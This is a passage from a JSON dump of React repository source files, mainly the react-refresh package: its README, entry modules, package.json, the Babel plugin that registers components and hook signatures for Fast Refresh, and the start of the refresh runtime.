case ActivityComponent:\n      return 'Activity';\n    case CacheComponent:\n      return 'Cache';\n    case ContextConsumer:\n      const consumer: ReactConsumerType<any> = (type: any);\n      return getContextName(consumer._context) + '.Consumer';\n    case ContextProvider:\n      const context: ReactContext<any> = (type: any);\n      return getContextName(context);\n    case DehydratedFragment:\n      return 'DehydratedFragment';\n    case ForwardRef:\n      return getWrappedName(type, type.render, 'ForwardRef');\n    case Fragment:\n      return 'Fragment';\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent:\n      // Host component type is the display name (e.g. \"div\", \"View\")\n      return type;\n    case HostPortal:\n      return 'Portal';\n    case HostRoot:\n      return 'Root';\n    case HostText:\n      return 'Text';\n    case LazyComponent:\n      // Name comes from the type in this case; we don't have a tag.\n      return getComponentNameFromType(type);\n    case Mode:\n      if (type === REACT_STRICT_MODE_TYPE) {\n        // Don't be less specific than shared/getComponentNameFromType\n        return 'StrictMode';\n      }\n      return 'Mode';\n    case OffscreenComponent:\n      if (fiber.return !== null) {\n        return getComponentNameFromFiber(fiber.return);\n      }\n      return null;\n    case Profiler:\n      return 'Profiler';\n    case ScopeComponent:\n      return 'Scope';\n    case SuspenseComponent:\n      return 'Suspense';\n    case SuspenseListComponent:\n      return 'SuspenseList';\n    case TracingMarkerComponent:\n      return 'TracingMarker';\n    case ViewTransitionComponent:\n      if (enableViewTransition) {\n        return 'ViewTransition';\n      }\n    // The display name for these tags come from the user-provided type:\n    // Fallthrough\n    case IncompleteClassComponent:\n    case IncompleteFunctionComponent:\n      if (disableLegacyMode) {\n        break;\n      }\n    // Fallthrough\n    case ClassComponent:\n    case FunctionComponent:\n    case MemoComponent:\n    case SimpleMemoComponent:\n      if (typeof type === 'function') {\n        return (type: any).displayName || type.name || null;\n      }\n      if (typeof type === 'string') {\n        return type;\n      }\n      break;\n    case LegacyHiddenComponent:\n      if (enableLegacyHidden) {\n        return 'LegacyHidden';\n      }\n      break;\n    case Throw: {\n      if (__DEV__) {\n        // For an error in child position we use the name of the inner most parent component.\n        // Whether a Server Component or the parent Fiber.\n        const debugInfo = fiber._debugInfo;\n        if (debugInfo != null) {\n          for (let i = debugInfo.length - 1; i >= 0; i--) {\n            if (typeof debugInfo[i].name === 'string') {\n              return debugInfo[i].name;\n            }\n          }\n        }\n        if (fiber.return === null) {\n          return null;\n        }\n        return getComponentNameFromFiber(fiber.return);\n      }\n      return null;\n    }\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/react-refresh/README.md",
    "content": "# react-refresh\n\nThis package implements the wiring necessary to integrate Fast Refresh into bundlers. Fast Refresh is a feature that lets you edit React components in a running application without losing their state. It is similar to an old feature known as \"hot reloading\", but Fast Refresh is more reliable and officially supported by React.\n\nThis package is primarily aimed at developers of bundler plugins. If you’re working on one, here is a [rough guide](https://github.com/facebook/react/issues/16604#issuecomment-528663101) for Fast Refresh integration using this package.\n"
  },
  {
    "path": "packages/react-refresh/babel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {default} from './src/ReactFreshBabelPlugin';\n"
  },
  {
    "path": "packages/react-refresh/npm/babel.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-refresh-babel.production.js');\n} else {\n  module.exports = require('./cjs/react-refresh-babel.development.js');\n}\n"
  },
  {
    "path": "packages/react-refresh/npm/runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-refresh-runtime.production.js');\n} else {\n  module.exports = require('./cjs/react-refresh-runtime.development.js');\n}\n"
  },
  {
    "path": "packages/react-refresh/package.json",
    "content": "{\n  \"name\": \"react-refresh\",\n  \"description\": \"React is a JavaScript library for building user interfaces.\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"version\": \"0.19.0\",\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"babel.js\",\n    \"runtime.js\",\n    \"cjs/\"\n  ],\n  \"main\": \"runtime.js\",\n  \"exports\": {\n    \".\": \"./runtime.js\",\n    \"./runtime\": \"./runtime.js\",\n    \"./babel\": \"./babel.js\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"devDependencies\": {\n    \"react-16-8\": \"npm:react@16.8.0\",\n    \"react-dom-16-8\": \"npm:react-dom@16.8.0\",\n    \"scheduler-0-13\": \"npm:scheduler@0.13.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-refresh/runtime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport * from './src/ReactFreshRuntime';\n"
  },
  {
    "path": "packages/react-refresh/src/ReactFreshBabelPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nexport default function (babel, opts = {}) {\n  if (typeof babel.env === 'function') {\n    // Only available in Babel 7.\n    const env = babel.env();\n    if (env !== 'development' && !opts.skipEnvCheck) {\n      throw new Error(\n        'React Refresh Babel transform should only be enabled in development environment. ' +\n          'Instead, the environment is: \"' +\n          env +\n          '\". If you want to override this check, pass {skipEnvCheck: true} as plugin options.',\n      );\n    }\n  }\n\n  const {types: t} = babel;\n  const refreshReg = t.identifier(opts.refreshReg || '$RefreshReg$');\n  const refreshSig = t.identifier(opts.refreshSig || '$RefreshSig$');\n\n  const registrationsByProgramPath = new Map();\n  function createRegistration(programPath, persistentID) {\n    const handle = programPath.scope.generateUidIdentifier('c');\n    if (!registrationsByProgramPath.has(programPath)) {\n      registrationsByProgramPath.set(programPath, []);\n    }\n    const registrations = registrationsByProgramPath.get(programPath);\n    registrations.push({\n      handle,\n      persistentID,\n    });\n    return handle;\n  }\n\n  function isComponentishName(name) {\n    return typeof name === 'string' && name[0] >= 'A' && name[0] <= 'Z';\n  }\n\n  function findInnerComponents(inferredName, path, callback) {\n    const node = path.node;\n    switch (node.type) {\n      case 'Identifier': {\n        if (!isComponentishName(node.name)) {\n          return false;\n        }\n        // export default hoc(Foo)\n        // const X = hoc(Foo)\n        callback(inferredName, node, null);\n        return true;\n      }\n      case 'FunctionDeclaration': {\n        // function Foo() {}\n        // export function Foo() {}\n        // export default function Foo() {}\n        callback(inferredName, node.id, null);\n        return true;\n      }\n      case 'ArrowFunctionExpression': {\n        if (node.body.type === 'ArrowFunctionExpression') {\n          return false;\n        }\n        // let Foo = () => {}\n        // export default hoc1(hoc2(() => {}))\n        callback(inferredName, node, path);\n        return true;\n      }\n      case 'FunctionExpression': {\n        // let Foo = function() {}\n        // const Foo = hoc1(forwardRef(function renderFoo() {}))\n        // export default memo(function() {})\n        callback(inferredName, node, path);\n        return true;\n      }\n      case 'CallExpression': {\n        const argsPath = path.get('arguments');\n        if (argsPath === undefined || argsPath.length === 0) {\n          return false;\n        }\n        const calleePath = path.get('callee');\n        switch (calleePath.node.type) {\n          case 'MemberExpression':\n          case 'Identifier': {\n            const calleeSource = calleePath.getSource();\n            const firstArgPath = argsPath[0];\n            const innerName = inferredName + '$' + calleeSource;\n            const foundInside = findInnerComponents(\n              innerName,\n              firstArgPath,\n              callback,\n            );\n            if (!foundInside) {\n              return false;\n            }\n            // const Foo = hoc1(hoc2(() => {}))\n            // export default memo(React.forwardRef(function() {}))\n            callback(inferredName, node, path);\n            return true;\n          }\n          default: {\n            return false;\n          }\n        }\n      }\n      case 'VariableDeclarator': {\n        const init = node.init;\n        if (init === null) {\n          return false;\n        }\n        const name = node.id.name;\n        if (!isComponentishName(name)) {\n          return false;\n        }\n        switch (init.type) {\n          case 'ArrowFunctionExpression':\n          case 'FunctionExpression':\n            // Likely component definitions.\n            break;\n          case 'CallExpression': {\n            // Maybe a HOC.\n            // Try to determine if this is some form of import.\n            const callee = init.callee;\n            const calleeType = callee.type;\n            if (calleeType === 'Import') {\n              return false;\n            } else if (calleeType === 'Identifier') {\n              if (callee.name.indexOf('require') === 0) {\n                return false;\n              } else if (callee.name.indexOf('import') === 0) {\n                return false;\n              }\n              // Neither require nor import. Might be a HOC.\n              // Pass through.\n            } else if (calleeType === 'MemberExpression') {\n              // Could be something like React.forwardRef(...)\n              // Pass through.\n            }\n            break;\n          }\n          case 'TaggedTemplateExpression':\n            // Maybe something like styled.div`...`\n            break;\n          default:\n            return false;\n        }\n        const initPath = path.get('init');\n        const foundInside = findInnerComponents(\n          inferredName,\n          initPath,\n          callback,\n        );\n        if (foundInside) {\n          return true;\n        }\n        // See if this identifier is used in JSX. Then it's a component.\n        const binding = path.scope.getBinding(name);\n        if (binding === undefined) {\n          return;\n        }\n        let isLikelyUsedAsType = false;\n        const referencePaths = binding.referencePaths;\n        for (let i = 0; i < referencePaths.length; i++) {\n          const ref = referencePaths[i];\n          if (\n            ref.node &&\n            ref.node.type !== 'JSXIdentifier' &&\n            ref.node.type !== 'Identifier'\n          ) {\n            continue;\n          }\n          const refParent = ref.parent;\n          if (refParent.type === 'JSXOpeningElement') {\n            isLikelyUsedAsType = true;\n          } else if (refParent.type === 'CallExpression') {\n            const callee = refParent.callee;\n            let fnName;\n            switch (callee.type) {\n              case 'Identifier':\n                fnName = callee.name;\n                break;\n              case 'MemberExpression':\n                fnName = callee.property.name;\n                break;\n            }\n            switch (fnName) {\n              case 'createElement':\n              case 'jsx':\n              case 'jsxDEV':\n              case 'jsxs':\n                isLikelyUsedAsType = true;\n                break;\n            }\n          }\n          if (isLikelyUsedAsType) {\n            // const X = ... + later <X />\n            callback(inferredName, init, initPath);\n            return true;\n          }\n        }\n      }\n    }\n    return false;\n  }\n\n  function isBuiltinHook(hookName) {\n    switch (hookName) {\n      case 'useState':\n      case 'React.useState':\n      case 'useReducer':\n      case 'React.useReducer':\n      case 'useEffect':\n      case 'React.useEffect':\n      case 'useLayoutEffect':\n      case 'React.useLayoutEffect':\n      case 'useMemo':\n      case 'React.useMemo':\n      case 'useCallback':\n      case 'React.useCallback':\n      case 'useRef':\n      case 'React.useRef':\n      case 'useContext':\n      case 'React.useContext':\n      case 'useImperativeHandle':\n      case 'React.useImperativeHandle':\n      case 'useDebugValue':\n      case 'React.useDebugValue':\n      case 'useId':\n      case 'React.useId':\n      case 'useDeferredValue':\n      case 'React.useDeferredValue':\n      case 'useTransition':\n      case 'React.useTransition':\n      case 'useInsertionEffect':\n      case 'React.useInsertionEffect':\n      case 'useSyncExternalStore':\n      case 'React.useSyncExternalStore':\n      case 'useFormStatus':\n      case 'React.useFormStatus':\n      case 'useFormState':\n      case 'React.useFormState':\n      case 'useActionState':\n      case 'React.useActionState':\n      case 'useOptimistic':\n      case 'React.useOptimistic':\n        return true;\n      default:\n        return false;\n    }\n  }\n\n  function getHookCallsSignature(functionNode) {\n    const fnHookCalls = hookCalls.get(functionNode);\n    if (fnHookCalls === undefined) {\n      return null;\n    }\n    return {\n      key: fnHookCalls.map(call => call.name + '{' + call.key + '}').join('\\n'),\n      customHooks: fnHookCalls\n        .filter(call => !isBuiltinHook(call.name))\n        .map(call => t.cloneDeep(call.callee)),\n    };\n  }\n\n  const hasForceResetCommentByFile = new WeakMap();\n\n  // We let user do /* @refresh reset */ to reset state in the whole file.\n  function hasForceResetComment(path) {\n    const file = path.hub.file;\n    let hasForceReset = hasForceResetCommentByFile.get(file);\n    if (hasForceReset !== undefined) {\n      return hasForceReset;\n    }\n\n    hasForceReset = false;\n    const comments = file.ast.comments;\n    for (let i = 0; i < comments.length; i++) {\n      const cmt = comments[i];\n      if (cmt.value.indexOf('@refresh reset') !== -1) {\n        hasForceReset = true;\n        break;\n      }\n    }\n\n    hasForceResetCommentByFile.set(file, hasForceReset);\n    return hasForceReset;\n  }\n\n  function createArgumentsForSignature(node, signature, scope) {\n    const {key, customHooks} = signature;\n\n    let forceReset = hasForceResetComment(scope.path);\n    const customHooksInScope = [];\n    customHooks.forEach(callee => {\n      // Check if a corresponding binding exists where we emit the signature.\n      let bindingName;\n      switch (callee.type) {\n        case 'MemberExpression':\n          if (callee.object.type === 'Identifier') {\n            bindingName = callee.object.name;\n          }\n          break;\n        case 'Identifier':\n          bindingName = callee.name;\n          break;\n      }\n      if (scope.hasBinding(bindingName)) {\n        customHooksInScope.push(callee);\n      } else {\n        // We don't have anything to put in the array because Hook is out of scope.\n        // Since it could potentially have been edited, remount the component.\n        forceReset = true;\n      }\n    });\n\n    let finalKey = key;\n    if (typeof require === 'function' && !opts.emitFullSignatures) {\n      // Prefer to hash when we can (e.g. outside of ASTExplorer).\n      // This makes it deterministically compact, even if there's\n      // e.g. a useState initializer with some code inside.\n      // We also need it for www that has transforms like cx()\n      // that don't understand if something is part of a string.\n      finalKey = require('crypto')\n        .createHash('sha1')\n        .update(key)\n        .digest('base64');\n    }\n\n    const args = [node, t.stringLiteral(finalKey)];\n    if (forceReset || customHooksInScope.length > 0) {\n      args.push(t.booleanLiteral(forceReset));\n    }\n    if (customHooksInScope.length > 0) {\n      args.push(\n        // TODO: We could use an arrow here to be more compact.\n        // However, don't do it until AMA can run them natively.\n        t.functionExpression(\n          null,\n          [],\n          t.blockStatement([\n            t.returnStatement(t.arrayExpression(customHooksInScope)),\n          ]),\n        ),\n      );\n    }\n    return args;\n  }\n\n  function findHOCCallPathsAbove(path) {\n    const calls = [];\n    while (true) {\n      if (!path) {\n        return calls;\n      }\n      const parentPath = path.parentPath;\n      if (!parentPath) {\n        return calls;\n      }\n      if (\n        // hoc(_c = function() { })\n        parentPath.node.type === 'AssignmentExpression' &&\n        path.node === parentPath.node.right\n      ) {\n        // Ignore registrations.\n        path = parentPath;\n        continue;\n      }\n      if (\n        // hoc1(hoc2(...))\n        parentPath.node.type === 'CallExpression' &&\n        path.node !== parentPath.node.callee\n      ) {\n        calls.push(parentPath);\n        path = parentPath;\n        continue;\n      }\n      return calls; // Stop at other types.\n    }\n  }\n\n  const seenForRegistration = new WeakSet();\n  const seenForSignature = new WeakSet();\n  const seenForOutro = new WeakSet();\n\n  const hookCalls = new WeakMap();\n  const HookCallsVisitor = {\n    CallExpression(path) {\n      const node = path.node;\n      const callee = node.callee;\n\n      // Note: this visitor MUST NOT mutate the tree in any way.\n      // It runs early in a separate traversal and should be very fast.\n\n      let name = null;\n      switch (callee.type) {\n        case 'Identifier':\n          name = callee.name;\n          break;\n        case 'MemberExpression':\n          name = callee.property.name;\n          break;\n      }\n      if (name === null || !/^use[A-Z]/.test(name)) {\n        return;\n      }\n      const fnScope = path.scope.getFunctionParent();\n      if (fnScope === null) {\n        return;\n      }\n\n      // This is a Hook call. Record it.\n      const fnNode = fnScope.block;\n      if (!hookCalls.has(fnNode)) {\n        hookCalls.set(fnNode, []);\n      }\n      const hookCallsForFn = hookCalls.get(fnNode);\n      let key = '';\n      if (path.parent.type === 'VariableDeclarator') {\n        // TODO: if there is no LHS, consider some other heuristic.\n        key = path.parentPath.get('id').getSource();\n      }\n\n      // Some built-in Hooks reset on edits to arguments.\n      const args = path.get('arguments');\n      if (name === 'useState' && args.length > 0) {\n        // useState second argument is initial state.\n        key += '(' + args[0].getSource() + ')';\n      } else if (name === 'useReducer' && args.length > 1) {\n        // useReducer second argument is initial state.\n        key += '(' + args[1].getSource() + ')';\n      }\n\n      hookCallsForFn.push({\n        callee: path.node.callee,\n        name,\n        key,\n      });\n    },\n  };\n\n  return {\n    visitor: {\n      ExportDefaultDeclaration(path) {\n        const node = path.node;\n        const decl = node.declaration;\n        const declPath = path.get('declaration');\n        if (decl.type !== 'CallExpression') {\n          // For now, we only support possible HOC calls here.\n          // Named function declarations are handled in FunctionDeclaration.\n          // Anonymous direct exports like export default function() {}\n          // are currently ignored.\n          return;\n        }\n\n        // Make sure we're not mutating the same tree twice.\n        // This can happen if another Babel plugin replaces parents.\n        if (seenForRegistration.has(node)) {\n          return;\n        }\n        seenForRegistration.add(node);\n        // Don't mutate the tree above this point.\n\n        // This code path handles nested cases like:\n        // export default memo(() => {})\n        // In those cases it is more plausible people will omit names\n        // so they're worth handling despite possible false positives.\n        // More importantly, it handles the named case:\n        // export default memo(function Named() {})\n        const inferredName = '%default%';\n        const programPath = path.parentPath;\n        findInnerComponents(\n          inferredName,\n          declPath,\n          (persistentID, targetExpr, targetPath) => {\n            if (targetPath === null) {\n              // For case like:\n              // export default hoc(Foo)\n              // we don't want to wrap Foo inside the call.\n              // Instead we assume it's registered at definition.\n              return;\n            }\n            const handle = createRegistration(programPath, persistentID);\n            targetPath.replaceWith(\n              t.assignmentExpression('=', handle, targetExpr),\n            );\n          },\n        );\n      },\n      FunctionDeclaration: {\n        enter(path) {\n          const node = path.node;\n          let programPath;\n          let insertAfterPath;\n          let modulePrefix = '';\n          switch (path.parent.type) {\n            case 'Program':\n              insertAfterPath = path;\n              programPath = path.parentPath;\n              break;\n            case 'TSModuleBlock':\n              insertAfterPath = path;\n              programPath = insertAfterPath.parentPath.parentPath;\n              break;\n            case 'ExportNamedDeclaration':\n              insertAfterPath = path.parentPath;\n              programPath = insertAfterPath.parentPath;\n              break;\n            case 'ExportDefaultDeclaration':\n              insertAfterPath = path.parentPath;\n              programPath = insertAfterPath.parentPath;\n              break;\n            default:\n              return;\n          }\n\n          // These types can be nested in typescript namespace\n          // We need to find the export chain\n          // Or return if it stays local\n          if (\n            path.parent.type === 'TSModuleBlock' ||\n            path.parent.type === 'ExportNamedDeclaration'\n          ) {\n            while (programPath.type !== 'Program') {\n              if (programPath.type === 'TSModuleDeclaration') {\n                if (\n                  programPath.parentPath.type !== 'Program' &&\n                  programPath.parentPath.type !== 'ExportNamedDeclaration'\n                ) {\n                  return;\n                }\n                modulePrefix = programPath.node.id.name + '$' + modulePrefix;\n              }\n              programPath = programPath.parentPath;\n            }\n          }\n\n          const id = node.id;\n          if (id === null) {\n            // We don't currently handle anonymous default exports.\n            return;\n          }\n          const inferredName = id.name;\n          if (!isComponentishName(inferredName)) {\n            return;\n          }\n\n          // Make sure we're not mutating the same tree twice.\n          // This can happen if another Babel plugin replaces parents.\n          if (seenForRegistration.has(node)) {\n            return;\n          }\n          seenForRegistration.add(node);\n          // Don't mutate the tree above this point.\n\n          const innerName = modulePrefix + inferredName;\n          // export function Named() {}\n          // function Named() {}\n          findInnerComponents(innerName, path, (persistentID, targetExpr) => {\n            const handle = createRegistration(programPath, persistentID);\n            insertAfterPath.insertAfter(\n              t.expressionStatement(\n                t.assignmentExpression('=', handle, targetExpr),\n              ),\n            );\n          });\n        },\n        exit(path) {\n          const node = path.node;\n          const id = node.id;\n          if (id === null) {\n            return;\n          }\n          const signature = getHookCallsSignature(node);\n          if (signature === null) {\n            return;\n          }\n\n          // Make sure we're not mutating the same tree twice.\n          // This can happen if another Babel plugin replaces parents.\n          if (seenForSignature.has(node)) {\n            return;\n          }\n          seenForSignature.add(node);\n          // Don't mutate the tree above this point.\n\n          const sigCallID = path.scope.generateUidIdentifier('_s');\n          path.scope.parent.push({\n            id: sigCallID,\n            init: t.callExpression(refreshSig, []),\n          });\n\n          // The signature call is split in two parts. One part is called inside the function.\n          // This is used to signal when first render happens.\n          path\n            .get('body')\n            .unshiftContainer(\n              'body',\n              t.expressionStatement(t.callExpression(sigCallID, [])),\n            );\n\n          // The second call is around the function itself.\n          // This is used to associate a type with a signature.\n\n          // Unlike with $RefreshReg$, this needs to work for nested\n          // declarations too. So we need to search for a path where\n          // we can insert a statement rather than hard coding it.\n          let insertAfterPath = null;\n          path.find(p => {\n            if (p.parentPath.isBlock()) {\n              insertAfterPath = p;\n              return true;\n            }\n          });\n          if (insertAfterPath === null) {\n            return;\n          }\n\n          insertAfterPath.insertAfter(\n            t.expressionStatement(\n              t.callExpression(\n                sigCallID,\n                createArgumentsForSignature(\n                  id,\n                  signature,\n                  insertAfterPath.scope,\n                ),\n              ),\n            ),\n          );\n        },\n      },\n      'ArrowFunctionExpression|FunctionExpression': {\n        exit(path) {\n          const node = path.node;\n          const signature = getHookCallsSignature(node);\n          if (signature === null) {\n            return;\n          }\n\n          // Make sure we're not mutating the same tree twice.\n          // This can happen if another Babel plugin replaces parents.\n          if (seenForSignature.has(node)) {\n            return;\n          }\n          seenForSignature.add(node);\n          // Don't mutate the tree above this point.\n\n          const sigCallID = path.scope.generateUidIdentifier('_s');\n          path.scope.parent.push({\n            id: sigCallID,\n            init: t.callExpression(refreshSig, []),\n          });\n\n          // The signature call is split in two parts. One part is called inside the function.\n          // This is used to signal when first render happens.\n          if (path.node.body.type !== 'BlockStatement') {\n            path.node.body = t.blockStatement([\n              t.returnStatement(path.node.body),\n            ]);\n          }\n          path\n            .get('body')\n            .unshiftContainer(\n              'body',\n              t.expressionStatement(t.callExpression(sigCallID, [])),\n            );\n\n          // The second call is around the function itself.\n          // This is used to associate a type with a signature.\n\n          if (path.parent.type === 'VariableDeclarator') {\n            let insertAfterPath = null;\n            path.find(p => {\n              if (p.parentPath.isBlock()) {\n                insertAfterPath = p;\n                return true;\n              }\n            });\n            if (insertAfterPath === null) {\n              return;\n            }\n            // Special case when a function would get an inferred name:\n            // let Foo = () => {}\n            // let Foo = function() {}\n            // We'll add signature it on next line so that\n            // we don't mess up the inferred 'Foo' function name.\n            insertAfterPath.insertAfter(\n              t.expressionStatement(\n                t.callExpression(\n                  sigCallID,\n                  createArgumentsForSignature(\n                    path.parent.id,\n                    signature,\n                    insertAfterPath.scope,\n                  ),\n                ),\n              ),\n            );\n            // Result: let Foo = () => {}; __signature(Foo, ...);\n          } else {\n            // let Foo = hoc(() => {})\n            const paths = [path, ...findHOCCallPathsAbove(path)];\n            paths.forEach(p => {\n              p.replaceWith(\n                t.callExpression(\n                  sigCallID,\n                  createArgumentsForSignature(p.node, signature, p.scope),\n                ),\n              );\n            });\n            // Result: let Foo = __signature(hoc(__signature(() => {}, ...)), ...)\n          }\n        },\n      },\n      VariableDeclaration(path) {\n        const node = path.node;\n        let programPath;\n        let insertAfterPath;\n        let modulePrefix = '';\n        switch (path.parent.type) {\n          case 'Program':\n            insertAfterPath = path;\n            programPath = path.parentPath;\n            break;\n          case 'TSModuleBlock':\n            insertAfterPath = path;\n            programPath = insertAfterPath.parentPath.parentPath;\n            break;\n          case 'ExportNamedDeclaration':\n            insertAfterPath = path.parentPath;\n            programPath = insertAfterPath.parentPath;\n            break;\n          case 'ExportDefaultDeclaration':\n            insertAfterPath = path.parentPath;\n            programPath = insertAfterPath.parentPath;\n            break;\n          default:\n            return;\n        }\n\n        // These types can be nested in typescript namespace\n        // We need to find the export chain\n        // Or return if it stays local\n        if (\n          path.parent.type === 'TSModuleBlock' ||\n          path.parent.type === 'ExportNamedDeclaration'\n        ) {\n          while (programPath.type !== 'Program') {\n            if (programPath.type === 'TSModuleDeclaration') {\n              if (\n                programPath.parentPath.type !== 'Program' &&\n                programPath.parentPath.type !== 'ExportNamedDeclaration'\n              ) {\n                return;\n              }\n              modulePrefix = programPath.node.id.name + '$' + modulePrefix;\n            }\n            programPath = programPath.parentPath;\n          }\n        }\n\n        // Make sure we're not mutating the same tree twice.\n        // This can happen if another Babel plugin replaces parents.\n        if (seenForRegistration.has(node)) {\n          return;\n        }\n        seenForRegistration.add(node);\n        // Don't mutate the tree above this point.\n\n        const declPaths = path.get('declarations');\n        if (declPaths.length !== 1) {\n          return;\n        }\n        const declPath = declPaths[0];\n        const inferredName = declPath.node.id.name;\n        const innerName = modulePrefix + inferredName;\n        findInnerComponents(\n          innerName,\n          declPath,\n          (persistentID, targetExpr, targetPath) => {\n            if (targetPath === null) {\n              // For case like:\n              // export const Something = hoc(Foo)\n              // we don't want to wrap Foo inside the call.\n              // Instead we assume it's registered at definition.\n              return;\n            }\n            const handle = createRegistration(programPath, persistentID);\n            if (targetPath.parent.type === 'VariableDeclarator') {\n              // Special case when a variable would get an inferred name:\n              // let Foo = () => {}\n              // let Foo = function() {}\n              // let Foo = styled.div``;\n              // We'll register it on next line so that\n              // we don't mess up the inferred 'Foo' function name.\n              // (eg: with @babel/plugin-transform-react-display-name or\n              // babel-plugin-styled-components)\n              insertAfterPath.insertAfter(\n                t.expressionStatement(\n                  t.assignmentExpression('=', handle, declPath.node.id),\n                ),\n              );\n              // Result: let Foo = () => {}; _c1 = Foo;\n            } else {\n              // let Foo = hoc(() => {})\n              targetPath.replaceWith(\n                t.assignmentExpression('=', handle, targetExpr),\n              );\n              // Result: let Foo = hoc(_c1 = () => {})\n            }\n          },\n        );\n      },\n      Program: {\n        enter(path) {\n          // This is a separate early visitor because we need to collect Hook calls\n          // and \"const [foo, setFoo] = ...\" signatures before the destructuring\n          // transform mangles them. This extra traversal is not ideal for perf,\n          // but it's the best we can do until we stop transpiling destructuring.\n          path.traverse(HookCallsVisitor);\n        },\n        exit(path) {\n          const registrations = registrationsByProgramPath.get(path);\n          if (registrations === undefined) {\n            return;\n          }\n\n          // Make sure we're not mutating the same tree twice.\n          // This can happen if another Babel plugin replaces parents.\n          const node = path.node;\n          if (seenForOutro.has(node)) {\n            return;\n          }\n          seenForOutro.add(node);\n          // Don't mutate the tree above this point.\n\n          registrationsByProgramPath.delete(path);\n          const declarators = [];\n          path.pushContainer('body', t.variableDeclaration('var', declarators));\n          registrations.forEach(({handle, persistentID}) => {\n            path.pushContainer(\n              'body',\n              t.expressionStatement(\n                t.callExpression(refreshReg, [\n                  handle,\n                  t.stringLiteral(persistentID),\n                ]),\n              ),\n            );\n            declarators.push(t.variableDeclarator(handle));\n          });\n        },\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "packages/react-refresh/src/ReactFreshRuntime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  Family,\n  RefreshUpdate,\n  ScheduleRefresh,\n  ScheduleRoot,\n  SetRefreshHandler,\n} from 'react-reconciler/src/ReactFiberHotReloading';\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport {REACT_MEMO_TYPE, REACT_FORWARD_REF_TYPE} from 'shared/ReactSymbols';\n\ntype Signature = {\n  ownKey: string,\n  forceReset: boolean,\n  fullKey: string | null, // Contains keys of nested Hooks. Computed lazily.\n  getCustomHooks: () => Array<Function>,\n};\n\ntype RendererHelpers = {\n  scheduleRefresh: ScheduleRefresh,\n  scheduleRoot: ScheduleRoot,\n  setRefreshHandler: SetRefreshHandler,\n};\n\nif (!__DEV__) {\n  throw new Error(\n    'React Refresh runtime should not be included in the production bundle.',\n  );\n}\n\n// In old environments, we'll leak previous types after every edit.\nconst PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n\n// We never remove these associations.\n// It's OK to reference families, but use WeakMap/Set for types.\nconst allFamiliesByID: Map<string, Family> = new Map();\nconst allFamiliesByType: WeakMap<any, Family> | Map<any, Family> =\n  new PossiblyWeakMap();\nconst allSignaturesByType: WeakMap<any, Signature> | Map<any, Signature> =\n  new PossiblyWeakMap();\n// This WeakMap is read by React, so we only put families\n// that have actually been edited here. This keeps checks fast.\nconst updatedFamiliesByType: WeakMap<any, Family> | Map<any, Family> =\n  new PossiblyWeakMap();\n\n// This is cleared on every performReactRefresh() call.\n// It is an array of [Family, NextType] tuples.\nlet pendingUpdates: Array<[Family, any]> = [];\n\n// This is injected by the renderer via DevTools global hook.\nconst helpersByRendererID: Map<number, RendererHelpers> = new Map();\n\nconst helpersByRoot: Map<FiberRoot, RendererHelpers> = new Map();\n\n// We keep track of mounted roots so we can schedule updates.\nconst mountedRoots: Set<FiberRoot> = new Set();\n// If a root captures an error, we remember it so we can retry on edit.\nconst failedRoots: Set<FiberRoot> = new Set();\n\n// In environments that support WeakMap, we also remember the last element for every root.\n// It needs to be weak because we do this even for roots that failed to mount.\n// If there is no WeakMap, we won't attempt to do retrying.\nconst rootElements: WeakMap<any, ReactNodeList> | null =\n  typeof WeakMap === 'function' ? new WeakMap() : null;\n\nlet isPerformingRefresh = false;\n\nfunction computeFullKey(signature: Signature): string {\n  if (signature.fullKey !== null) {\n    return signature.fullKey;\n  }\n\n  let fullKey: string = signature.ownKey;\n  let hooks;\n  try {\n    hooks = signature.getCustomHooks();\n  } catch (err) {\n    // This can happen in an edge case, e.g. if expression like Foo.useSomething\n    // depends on Foo which is lazily initialized during rendering.\n    // In that case just assume we'll have to remount.\n    signature.forceReset = true;\n    signature.fullKey = fullKey;\n    return fullKey;\n  }\n\n  for (let i = 0; i < hooks.length; i++) {\n    const hook = hooks[i];\n    if (typeof hook !== 'function') {\n      // Something's wrong. Assume we need to remount.\n      signature.forceReset = true;\n      signature.fullKey = fullKey;\n      return fullKey;\n    }\n    const nestedHookSignature = allSignaturesByType.get(hook);\n    if (nestedHookSignature === undefined) {\n      // No signature means Hook wasn't in the source code, e.g. in a library.\n      // We'll skip it because we can assume it won't change during this session.\n      continue;\n    }\n    const nestedHookKey = computeFullKey(nestedHookSignature);\n    if (nestedHookSignature.forceReset) {\n      signature.forceReset = true;\n    }\n    fullKey += '\\n---\\n' + nestedHookKey;\n  }\n\n  signature.fullKey = fullKey;\n  return fullKey;\n}\n\nfunction haveEqualSignatures(prevType: any, nextType: any) {\n  const prevSignature = allSignaturesByType.get(prevType);\n  const nextSignature = allSignaturesByType.get(nextType);\n\n  if (prevSignature === undefined 